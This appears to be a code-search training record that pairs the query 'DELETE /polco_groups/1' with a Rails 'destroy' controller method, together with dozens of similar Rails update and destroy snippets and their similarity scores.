"def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n format.html { redirect_to @group, :notice => 'Group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user_group = UserGroup.find(params[:id])\n\n respond_to do |format|\n if @user_group.update_attributes(params[:user_group])\n flash[:notice] = \"User group <em>#{@user_group.name}</em> updated.\"\n format.html { redirect_to(@user_group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n format.html { redirect_to @group, notice: 'Group was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n format.html { redirect_to @group, notice: 'Group was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = t('flash.notice.group_update') # 'Group was successfully updated.'\n format.any(:html,:iphone) { redirect_to(@group) }\n format.xml { head :ok }\n else\n format.any(:html,:iphone) { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @grupo = Grupo.find(params[:id])\n authorize! :edit, @grupo\n\n respond_to do |format|\n if @grupo.update_attributes(params[:grupo])\n format.html { redirect_to @grupo, notice: 'Grupo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @grupo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n# debug(params[:group][:right_ids] Pour faire un debuggage dans le controlleur\n @group = Group.find(params[:id])\n @group.rights.clear\n\n #Mise à jour de droits que possède un groupe\n params[:group][:right_ids] ||= []\n params[:group][:right_ids].each do |right|\n if !(right.blank?)\n @group.add_right(Right.find_by_id(right))\n end\n end\n\n respond_to do |format|\n if @group.update(group_params)\n\n format.html { redirect_to @group, notice: t('group.updated_msg') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @yeargroup = Yeargroup.find(params[:id])\n\n respond_to do |format|\n if @yeargroup.update_attributes(params[:yeargroup])\n format.html { redirect_to @yeargroup, notice: 'Yeargroup was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @yeargroup.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n format.html { redirect_to @group, notice: 'Group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n format.html { redirect_to @group, notice: 'Group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n format.html { redirect_to @group, notice: 'Group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @grupo.update(grupo_params)\n format.html { redirect_to @grupo, notice: 'Grupo was successfully updated.' }\n format.json { render :show, status: :ok, location: @grupo }\n else\n format.html { render :edit }\n format.json { render json: @grupo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @group.update(params[:group])\n format.html { redirect_to [@hub, @group], :notice => 'Group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n if (user_signed_in? && ([2].include?(current_user.role)))\n @cultural_heritage_group = CulturalHeritage::Group.find(params[:id])\n @title_view = 'Grupos'\n respond_to do |format|\n if @cultural_heritage_group.update_attributes(params[:cultural_heritage_group])\n format.html { redirect_to(@cultural_heritage_group, :notice => 'Se ha actualizado correctamente el grupo.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @cultural_heritage_group.errors, :status => :unprocessable_entity }\n end\n end\n else\n respond_to do |format|\n format.html { redirect_to(new_user_session_path) }\n end\n end\n end",
"def update\n @show_element=\"admin\"\n (l1id,id) = params[:org_id].split(',')\n @org = Org.find([l1id,id])\n @rolesgroups = @org.roles_groups.all(:order=>:blue_groups_name)\n \n respond_to do |format|\n if @org.update_attributes(params[:org])\n flash[:notice] = 'Roles Groups was successfully updated.'\n format.html{redirect_to(:action=>\"edit\",:id=>@org )}\n else\n flash[:notice] =\"There was a problem updating this record.\"\n format.html{ render :action => \"edit\" }\n end\n end\n \n end",
"def update\n @image_gallery_group = ImageGalleryGroup.find(params[:id])\n\n respond_to do |format|\n if @image_gallery_group.update_attributes(params[:image_gallery_group])\n flash[:notice] = 'ImageGalleryGroup was successfully updated.'\n format.html { redirect_to([:admin, @image_gallery_group]) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @image_gallery_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n authorize @group, :update?\n respond_to do |format|\n if @group.update_attributes(permitted_params)\n format.html { redirect_to(@group, :notice => 'Group was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @os_groups_principal.update(os_groups_principal_params)\n format.html { redirect_to @os_groups_principal, notice: 'Os groups principal was successfully updated.' }\n format.json { render :show, status: :ok, location: @os_groups_principal }\n else\n format.html { render :edit }\n format.json { render json: @os_groups_principal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @attribute_group = AttributeGroup.find(params[:id])\n\n respond_to do |format|\n if @attribute_group.update_attributes(params[:attribute_group])\n format.html { redirect_to(@attribute_group, :notice => 'Attribute group was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @attribute_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n group = Group.find(params[:id])\n if group.update(group_params)\n render json: group\n else\n render json: group.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @alien_group.update(alien_group_params)\n format.html { redirect_to @alien_group, notice: 'Alien group was successfully updated.' }\n format.json { render :show, status: :ok, location: @alien_group }\n else\n format.html { render :edit }\n format.json { render json: @alien_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @request_group.update(request_group_params)\n format.html { redirect_to @request_group, \n\t\t\t\t\t\t\t\t\t\t\tnotice: 'Request group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @request_group.errors, \n\t\t\t\t\t\t\t\t\t\t\tstatus: :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if !current_user || (!current_user.is_admin && [email protected]?(current_user))\n format.html { redirect_to(@group, :notice => 'No permissions to edit group.')}\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n\n elsif @group.update_attributes(params[:group])\n format.html { redirect_to(@group, :notice => 'Group was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @group_doc.update(group_doc_params)\n format.html { redirect_to @group_doc, notice: 'Group doc was successfully updated.' }\n format.json { render :show, status: :ok, location: @group_doc }\n else\n format.html { render :edit }\n format.json { render json: @group_doc.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #Finding the specific chore where the id matches the one we pass in with the body\n @v1_chore = Chore.where(id: params[:id]).first\n #Here we're checking if we have user_id in our body, and if we do, we'll change the selected chore's properties\n #with the parameters of the body, we go through the specific group to our specific chore with the path\n if v1_chore_params[:user_id]\n @v1_chore.user_id = params[:user_id]\n @v1_chore.assigned = true\n if @v1_chore.save\n render :show, status: :ok\n end\n else\n render json: @v1_chore.errors, status: :unprocessable_entity\n end\n end",
"def update #:nodoc:\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = I18n.t(\"{{value}} was successfully updated.\", :default => \"{{value}} was successfully updated.\", :value => I18n.t(\"Group\", :default => \"Group\"))\n format.html { redirect_to groups_url }\n # format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n # format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @groupon = Groupon.find(params[:id])\n\n respond_to do |format|\n if @groupon.update_attributes(params[:groupon])\n format.html { redirect_to @groupon, notice: 'Groupon was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @groupon.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit\n respond_to do |format|\n format.html\n format.xml { render :xml => @group.to_xml }\n end\n end"
] |
[
"0.60886693",
"0.5980185",
"0.5933728",
"0.58142257",
"0.58082825",
"0.5801515",
"0.5788851",
"0.5759366",
"0.5754389",
"0.5753049",
"0.5745206",
"0.572901",
"0.5718523",
"0.5705592",
"0.5703783",
"0.5703783",
"0.57024825",
"0.5700052",
"0.56993425",
"0.569925",
"0.569925",
"0.5681407",
"0.5681407",
"0.5681407",
"0.5681407",
"0.5681407",
"0.5681407",
"0.5675488",
"0.56754297",
"0.5655933",
"0.5650105",
"0.5638133",
"0.5629215",
"0.562303",
"0.5618131",
"0.5609159",
"0.55762833",
"0.55759895",
"0.55735606",
"0.55716914",
"0.55674917",
"0.55580944",
"0.555759",
"0.5556489",
"0.55519325",
"0.55481106",
"0.5539425",
"0.553691",
"0.55309194",
"0.5530548",
"0.5525024",
"0.5524555",
"0.5520514",
"0.55133307",
"0.5499361",
"0.5497256",
"0.54951954",
"0.54935825",
"0.54905224",
"0.5485282",
"0.5476013",
"0.54718703",
"0.54697144",
"0.54648787",
"0.5464511",
"0.5460659",
"0.5448098",
"0.5444835",
"0.5442189",
"0.5438123",
"0.5435454",
"0.54314065",
"0.54253775",
"0.541988",
"0.54138607",
"0.54138607",
"0.54122823",
"0.540614",
"0.5404131",
"0.5402172",
"0.53958184",
"0.53958184",
"0.53958184",
"0.53922296",
"0.53857",
"0.5382576",
"0.53821576",
"0.53775513",
"0.53773457",
"0.5377154",
"0.5369831",
"0.5364766",
"0.53597057",
"0.53549254",
"0.5352225",
"0.53519994",
"0.53317046",
"0.5327337",
"0.53234136",
"0.53188485"
] |
0.7052905
|
0
|
DELETE /polco_groups/1 DELETE /polco_groups/1.xml
|
def destroy
@polco_group = PolcoGroup.find(params[:id])
@polco_group.destroy
respond_to do |format|
format.html { redirect_to(polco_groups_url) }
format.xml { head :ok }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def test_set3_04b_delete_group()\n group = \"test_group\"\n user = \"test_user\"\n \n @test_acl.create_principal(user)\n @test_acl.create_group(group, [\"ALL\"], [user])\n \n query = \"doc(\\\"#{@col_path}Principals.xml\\\")//node()[@id=\\\"#{user}\\\"]/membership/mgroup[@idref=\\\"#{group}\\\"]\"\n #puts query\n handle = @db.execute_query(query)\n hits = @db.get_hits(handle)\n assert_equal(1, hits)\n \n @test_acl.delete_principal(group)\n \n query = \"doc(\\\"#{@col_path}Principals.xml\\\")//node()[@id=\\\"#{user}\\\"]/membership/mgroup[@idref=\\\"#{group}\\\"]\"\n handle = @db.execute_query(query)\n hits = @db.get_hits(handle)\n assert_equal(0, hits)\n end",
"def destroy\n @ail_group = AilGroup.find(params[:id])\n @ail_group.destroy\n\n respond_to do |format|\n format.html { redirect_to(ail_groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n Group.rebuild! if nil.|Group.find(:first).rgt\n\t @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end",
"def netdev_resxml_delete( xml )\n top = netdev_resxml_top( xml )\n par = top.instance_variable_get(:@parent)\n par['delete'] = 'delete'\n end",
"def destroy\n @grupo = Grupo.find(params[:id])\n @grupo.destroy\n\n respond_to do |format|\n format.html { redirect_to(grupos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @jido_grp_rel = JidoGrpRel.find(params[:id])\n @jido_grp_rel.destroy\n\n respond_to do |format|\n format.html { redirect_to(jido_grp_rels_url) }\n format.xml { head :ok }\n end\n end",
"def deleteResource(doc, msg_from)\n \n \n begin\n\n puts \"Deleting\"\n\n path = \"\"\n params = {}\n headers = {}\n \n context, path = findContext(doc, path) \n \n # Deleting member from group\n if context == :user_group_member\n params = {}\n else\n raise Exception.new(\"No context given!\")\n end\n \n httpAndNotify(path, params, msg_from, :delete)\n \n rescue Exception => e\n puts \"Problem in parsing data (CREATE) from xml or sending http request to the VR server: \" + e\n puts \" -- line: #{e.backtrace[0].to_s}\"\n end\n \n end",
"def destroy\n @add_to_group = AddToGroup.find(params[:id])\n @add_to_group.destroy\n\n respond_to do |format|\n format.html { redirect_to(add_to_groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @attribute_group = AttributeGroup.find(params[:id])\n @attribute_group.destroy\n\n respond_to do |format|\n format.html { redirect_to(attribute_groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @group = Group.find(params[:id])\n @group.destroy\n \n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n Group.destroy(params[:id])\n\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end",
"def delete_related_groups\n \n end",
"def destroy\n @group_of_task = GroupOfTask.find(params[:id])\n @group_of_task.destroy\n\n respond_to do |format|\n format.html { redirect_to(group_of_tasks_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @routinetoobjectgroup = Routinetoobjectgroup.find(params[:id])\n @routinetoobjectgroup.destroy\n\n respond_to do |format|\n format.html { redirect_to(routinetoobjectgroups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @group = Group.find(params[:id])\n authorize @group, :destroy?\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(browse_groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @esol_group = EsolGroup.find(params[:id])\n @esol_group.destroy\n\n respond_to do |format|\n format.html { redirect_to esol_groups_url }\n format.json { head :no_content }\n end\n end",
"def del(id, which=:groups)\n resp = self.class.delete(\"/#{which}/#{id}\")\n check_errors resp\n end",
"def destroy\n @lab_group = LabGroup.find(params[:id])\n @lab_group.destroy\n\n respond_to do |format|\n format.html { redirect_to(lab_groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @grouping.destroy\n\n respond_to do |format|\n format.html { redirect_to(groupings_url) }\n format.xml { head :ok }\n end\n end",
"def deleteEntityGroup( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/group\",params)\n end",
"def destroy\n onesecgroup('delete', resource[:name])\n @property_hash.clear\n end",
"def service_group_delete(a10, name)\n a10.send(:axapi, 'slb.service_group.delete', 'post', {name: name, format: 'json'})\nend",
"def destroy\n @personnel_group = PersonnelGroup.find(params[:id])\n @personnel_group.destroy\n\n respond_to do |format|\n format.html { redirect_to(personnel_groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @image_gallery_group = ImageGalleryGroup.find(params[:id])\n @image_gallery_group.destroy\n\n respond_to do |format|\n format.html { redirect_to( admin_image_gallery_groups_url ) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @group.destroy unless @group.default\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @provider_group = ProviderGroup.find(params[:id])\n @provider_group.destroy\n\n respond_to do |format|\n format.html { redirect_to(provider_groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @group = Group.find_by_param(params[:id])\n @group.tuners.clear\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n group = Group.find(params[:group_id])\n\n @subgroup = group.subgroups.find(params[:id])\n @subgroup.destroy\n\n respond_to do |format|\n format.html { redirect_to(group_subgroups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @objectgrouptoobjectgroup = Objectgrouptoobjectgroup.find(params[:id])\n @objectgrouptoobjectgroup.destroy\n\n respond_to do |format|\n format.html { redirect_to(objectgrouptoobjectgroups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @record_group = RecordGroup.find(params[:id])\n @record_group.destroy\n\n respond_to do |format|\n format.html { redirect_to(record_groups_url) }\n format.xml { head :ok }\n end\n end",
"def delete_group(group)\n\t\t\tend",
"def delete_group(group)\n\t\t\tend",
"def destroy\n # @group = @hub.groups.get(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to hub_groups_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @group.destroy\n\n head :no_content\n end",
"def destroy\n @expensegroup = Expensegroup.find(params[:id])\n @expensegroup.destroy\n\n respond_to do |format|\n format.html { redirect_to(expensegroups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @contact_group = ContactGroup.find(params[:id])\n @contact_group.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_contact_groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @group = Group.find(params[:id])\n\t\t@pages = Page.where(:category => 'group', :owner => @group.id)\n\t\[email protected] do |p|\n\t\t\tp.destroy\n\t\tend\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :ok }\n end\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def destroy\n @groups_happening = GroupsHappening.find(params[:id])\n @groups_happening.destroy\n\n respond_to do |format|\n format.html { redirect_to(groups_happenings_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n\n @group_definition = GroupDefinition.find(params[:id])\n @group_definition.destroy\n\n respond_to do |format|\n format.html do\n if request.env['HTTP_REFERER']\n redirect_to(:back)\n else\n redirect_to(group_definitions_url)\n end\n end\n format.xml do\n head :ok\n end\n end\n end",
"def destroy\n @iogroup = Iogroup.find(params[:id])\n @iogroup.destroy\n redirect_to iogroups_path, :notice => 'IO-Gruppe wurde gelöscht.'\n end",
"def destroy\n #@pool = Pool.find(params[:id])\n @pool.destroy\n\n respond_to do |format|\n format.html { redirect_to(pools_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @pgroup = Pgroup.find(params[:id])\n @pgroup.destroy\n\n respond_to do |format|\n format.html { redirect_to pgroups_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pgroup = Pgroup.find(params[:id])\n @pgroup.destroy\n\n respond_to do |format|\n format.html { redirect_to pgroups_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @radio_group = RadioGroup.find(params[:id])\n @radio_group.destroy\n\n respond_to do |format|\n format.html { redirect_to(radio_groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @sitegroup = Sitegroup.access(current_user).find(params[:id])\n @sitegroup.destroy\n\n respond_to do |format|\n format.html { redirect_to(sitegroups_url) }\n format.xml { head :ok }\n format.csv { head :ok }\n format.json { head :ok }\n end\n end",
"def destroy\n @giving_group = GivingGroup.find(params[:id])\n @giving_group.destroy\n\n respond_to do |format|\n format.html { redirect_to(giving_groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user_group = UserGroup.find(params[:id])\n @user_group.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @fgroup = Fgroup.find(params[:id])\n @fgroup.destroy\n\n respond_to do |format|\n format.html { redirect_to(fgroups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n head :no_content\n end",
"def group_delete(attribs, dir_info)\n attribs = group_record_name_alternatives(attribs)\n\n check_critical_attribute( attribs, :record_name )\n\n command = {action: 'delete', scope: 'Groups', attribute: nil, value: nil}\n user_attrs = attribs.merge(command)\n\n dscl( user_attrs, dir_info )\n end",
"def destroy\n @slicegroup = Slicegroup.find(params[:id])\n @slicegroup.destroy\n\n respond_to do |format|\n format.html { redirect_to(slicegroups_url) }\n format.xml { head :ok }\n end\n end",
"def deleteGroup( group_id)\n params = Hash.new\n params['group_id'] = group_id\n return doCurl(\"delete\",\"/group\",params)\n end",
"def destroy\n @grupoassunto.destroy\n\n head :no_content\n end",
"def destroy\n @group = Group.find(params[:id])\n\n mbs = Membership.where \"group_id = ?\", @group.id\n\n mbs.each do |m|\n m.destroy\n end\n\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :ok }\n end\n end",
"def DeleteGroup id\n \n APICall(path: \"groups/#{id}.json\",method: 'DELETE')\n \n end",
"def destroy\n @contact_group = ContactGroup.find(params[:id])\n @contact_group.destroy\n\n respond_to do |format|\n format.html { redirect_to(contact_groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @group = WorkGroup.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @target_group = TargetGroup.find(params[:id])\n @target_group.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_target_groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.any(:html,:iphone) { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project_group.destroy\n\n respond_to do |format|\n flash[:notice] = l(:notice_successful_delete)\n format.html do redirect_to(controller: \"projects\", action: \"settings\", id: @project, tab: \"project_groups\") end\n format.xml do head :ok end\n end\n end",
"def test_delete\n g = [22058]\n Group.delete(g)\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def destroy\n Group.delete_groups_and_acls([id])\n end",
"def destroy\n @event = Event.find(params[:id])\n group = @event.group\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to group }\n format.xml { head :ok }\n end\n end",
"def destroy\n @group = Group.find(params[:group_id])\n @survey = Survey.find(params[:id])\n @survey.destroy\n\n respond_to do |format|\n format.html { redirect_to group_surveys_path(@group) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @collection_group.destroy\n respond_to do |format|\n format.html { redirect_to collection_groups_url }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @agroup.destroy\r\n respond_to do |format|\r\n format.html { redirect_to agroups_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @grupos_diplomado.destroy\n respond_to do |format|\n format.html { redirect_to grupos_diplomados_url, notice: 'El grupo se eliminó correctamente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @group_doc.destroy\n respond_to do |format|\n format.html { redirect_to group_docs_url, notice: 'Group doc was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n GroupPermission.destroy(params[:id])\n\n respond_to do |format|\n format.html { redirect_to(group_permissions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :ok }\n format.xml { head :ok }\n end\n end",
"def destroy\n @api_v1_groups_poll.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_groups_polls_url, notice: 'Groups poll was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def test_set3_04c_delete_principal()\n user = \"test_user\"\n @test_acl.create_principal(user)\n id = @test_acl.create_ace(user, \"allow\", \"SELECT\", \"test\", \"/db/temporary/testsource\")\n \n @test_acl.delete_principal(user)\n query = \"doc(\\\"#{@col_path}acl.xml\\\")//node()[@id=\\\"#{id}\\\"]\"\n handle = @db.execute_query(query)\n hits = @db.get_hits(handle)\n assert_equal(0, hits)\n end",
"def destroy\n @targetgroup = Targetgroup.find(params[:id])\n @targetgroup.destroy\n\n respond_to do |format|\n format.html { redirect_to(targetgroups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @meta_data_group = MetaDataGroup.find(params[:id])\n @meta_data_group.destroy\n\n respond_to do |format|\n format.html { redirect_to meta_data_groups_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request_group.destroy\n respond_to do |format|\n format.html { redirect_to request_groups_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n #@s_group.destroy\n @s_group = SGroup.find(params[:id].to_i)\n @s_group.delete_flg = 1\n @s_group.save!\n\n respond_to do |format|\n format.html { redirect_to s_groups_url, notice: 'S group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subgrupo = Subgrupo.find(params[:id])\n @subgrupo.destroy\n\n respond_to do |format|\n format.html { redirect_to subgrupos_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @alien_group.destroy\n respond_to do |format|\n format.html { redirect_to alien_groups_url, notice: 'Alien group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @eqvgroup.destroy\n respond_to do |format|\n format.html { redirect_to eqvgroups_url, notice: 'Эквивалентная группа удалена.' }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @subgroup.destroy\r\n respond_to do |format|\r\n format.html { redirect_to groups_path, notice: 'Apakšgrupa veiksmīgi dzēsta' }\r\n end\r\n end",
"def destroy\n\n\t\t@group = Group.find(params[:id])\n\t\[email protected]\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to(groups_url) }\n\t\t\tformat.xml { head :ok }\n\t\tend\n\tend",
"def destroy\n @grupo = Grupo.find(params[:id])\n @grupo.destroy\n\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'Grupo eliminado correctamente' }\n format.json { head :no_content }\n end\n end",
"def delete_all(xpath); end",
"def destroy\n @group = SuperSimpleCms::Group.find(params[:id])\n respond_to do |format| \n if SuperSimpleCms::Group.find(:all).length > 1\n @group.destroy \n format.html { redirect_to(super_simple_groups_url) }\n format.js { head :ok }\n format.xml { head :ok }\n else\n format.html { redirect_to(super_simple_groups_url) }\n format.js { head :failure }\n format.xml { head :failure }\n end\n end\n end",
"def destroy\n @grupa = Grupa.find(params[:id])\n @grupa.destroy\n\n respond_to do |format|\n format.html { redirect_to grupy_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @patients_groups = PatientsGroup.find(params[:id])\n @group = @patients_groups.group_id\n @patients_groups.destroy\n\n respond_to do |format|\n format.html { redirect_back_or_default request.referer, notice: \"Association was removed\" }\n format.json { head :no_content }\n end\n end"
] |
[
"0.693945",
"0.67653877",
"0.6716535",
"0.66650444",
"0.6605762",
"0.6524444",
"0.65234166",
"0.6463111",
"0.6456078",
"0.64131325",
"0.64057183",
"0.63950104",
"0.6377076",
"0.6376404",
"0.6372835",
"0.6372835",
"0.6366491",
"0.63500184",
"0.6348827",
"0.6348827",
"0.6348827",
"0.6348827",
"0.6348827",
"0.6348827",
"0.6348827",
"0.6348827",
"0.6335613",
"0.63232154",
"0.63155705",
"0.6301975",
"0.6288204",
